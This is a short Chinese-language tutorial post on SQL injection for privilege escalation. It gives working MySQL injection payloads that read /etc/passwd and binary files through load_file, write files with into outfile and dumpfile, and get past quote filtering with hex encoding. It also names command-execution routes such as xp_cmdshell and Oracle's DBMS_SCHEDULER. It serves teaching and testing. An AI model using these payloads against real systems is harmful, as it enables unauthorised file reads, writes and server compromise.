欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

SQL注入之权限提升

程序员文章站 2022-04-12 20:12:38
一.访问文件系统 1.读文件 MySQL允许使用load data infile和load_file命令将文本文件读到数据库中。 首先创建一个文本文件users.txt 创...

一.访问文件系统

1.读文件

MySQL允许使用load data infile和load_file命令将文本文件读到数据库中。

首先创建一个文本文件users.txt

创建数据表:create table authors (fname char(20), sname char(20), email char(100), flag int);

导入数据库:load data infile '/tmp/users.txt' into table authors fields terminated by ' ';

load_file函数可以避免创建数据表,直接传递数据:select load_file('/tmp/users.txt');

读取文本文件:

' union select load_file('/etc/passwd')# 报错

' union select null,load_file('/etc/passwd')# 通过数据库读取/etc/passwd

注意:load_file命令要求使用单引号字符,有时应用会过滤单引号,可以使用十六进制编码替代字符串

读取二进制文件:

' union select null, HEX(load_file('/tem/temp.bin'))#

2.写文件

MySQL使用select A into outfile(dumpfile) B命令导入文件

写入文本文件:select 'this is a test' into outfile '/tmp/test.txt';

写入二进制文件:aaa' union select null,'hello world\n' into dumpfile '/tmp/test.txt' #

二.执行操作系统命令

提升权限(获取管理员权限):

1.SQL Server

openrowset命令:SQL Server 2000上,所有用户均可调用openrowset, 而在SQL Server 2005上,该操作默认被禁用

2.Oracle

在Oracle中,通过web应用的SQL注入来提升权限非常困难。大多数提升权限的方法均需要PL/SQL注入。

执行操作系统命令:

1.MySQL不支持执行shell命令

2.Oracle

extproc、Java和DBMS_SCHEDULER是oracle运行操作系统命令的正式方法

3.MSSQL

xp_cmdshell只接收一个参数